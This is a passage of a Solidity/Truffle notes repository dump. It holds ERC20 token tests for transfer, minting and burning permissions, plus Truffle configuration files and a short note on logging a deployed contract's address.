26 | let balance2 = await TestInstance.balanceOf(owner);
27 | assert.equal(balance2.toNumber(), 10 ** 12 - 1.2 * 10**8);
28 |
29 | let balance3 = await TestInstance.balanceOf(wallet1);
30 | assert.equal(balance3.toNumber(), 1.2 * 10**8);
31 | })
32 |
33 | it('3) 代币铸造权限检测', async() => {
34 |
35 | try{
36 | await TestInstance.mint(wallet1, 0.3 * 10**8, {from: wallet2});
37 | }catch(error){
38 | const revertFound = error.message.search('revert') >= 0;
39 | assert(revertFound, `Expected "revert", got ${error} instead`);
40 | }
41 | let balance1 = await TestInstance.balanceOf(wallet1);
42 | assert.equal(balance1.toNumber(), 0);
43 | })
44 |
45 | it('4) 代币铸造测试', async() => {
46 |
47 | try{
48 | await TestInstance.mint(wallet1, 0.3 * 10**8);
49 | }catch(error){
50 | const revertFound = error.message.search('revert') >= 0;
51 | assert(revertFound, `Expected "revert", got ${error} instead`);
52 | }
53 | let balance1 = await TestInstance.balanceOf(wallet1);
54 | assert.equal(balance1.toNumber(), 3 * 10**7);
55 |
56 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 + 0.3 * 10 ** 8);
57 | })
58 |
59 | it('5) 代币销毁权限检测', async() => {
60 | await TestInstance.transfer(wallet1, 5 * 10**8);
61 | try{
62 | await TestInstance.burn(wallet1, 2 * 10**8, {from: wallet2});
63 | }catch(error){
64 | const revertFound = error.message.search('revert') >= 0;
65 | assert(revertFound, `Expected "revert", got ${error} instead`);
66 | }
67 | let balance1 = await TestInstance.balanceOf(wallet1);
68 | assert.equal(balance1.toNumber(), 5 * 10 ** 8);
69 | })
70 |
71 | it('6) 代币销毁测试', async() => {
72 | await TestInstance.transfer(wallet1, 5 * 10**8);
73 | try{
74 | await TestInstance.burn(wallet1, 2 * 10**8);
75 | }catch(error){
76 | const revertFound = error.message.search('revert') >= 0;
77 | assert(revertFound, `Expected "revert", got ${error} instead`);
78 | }
79 | let balance1 = await TestInstance.balanceOf(wallet1);
80 | assert.equal(balance1.toNumber(), 3 * 10**8);
81 |
82 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 - 2 * 10 ** 8);
83 | })
84 | });
85 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/truffle-config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | // See
3 | // to customize your Truffle configuration!
4 | };
5 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/truffle.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | // See
3 | // to customize your Truffle configuration!
4 | solc: {
5 | optimizer: {
6 | enabled: true,
7 | }
8 | },
9 | networks: {
10 | prodwork: {
11 | host: "127.0.0.1",
12 | port: 8541,
13 | network_id: "*",
14 | address: "0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232",
15 | gasPrice: 18000000000,
16 | gas: 0x47b760,
17 | }
18 | }
19 | };
--------------------------------------------------------------------------------
/notes/truffle/install.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/truffle/install.md
--------------------------------------------------------------------------------
/notes/truffle/summary.md:
--------------------------------------------------------------------------------
1 | # List
2 | * [获取部署的智能合约地址、abi和code](#获取部署的智能合约地址、abi和code)
3 | * [测试用例智能合约调用另外一个智能合约](#测试用例智能合约调用另外一个智能合约)
4 |
5 | # Summary
6 | ## 获取部署的智能合约地址、abi和code
7 |
8 | ```js
9 | var SimpleConstract = artifacts.require("./SimpleConstract.sol");
10 |
11 | module.exports = function(deployer) {
12 | deployer.deploy(SimpleConstract)
13 | // Console log the address:
14 | .then(() => console.log(SimpleConstract.address))
15 |
16 | // Retrieve the contract instance and get the address from that:
17 | .then(() => SimpleConstract.deployed())
18 | .then(_instance => console.log(_instance.address));
19 | };
20 | ```
21 |
22 | ## 测试用例智能合约调用另外一个智能合约
23 |
--------------------------------------------------------------------------------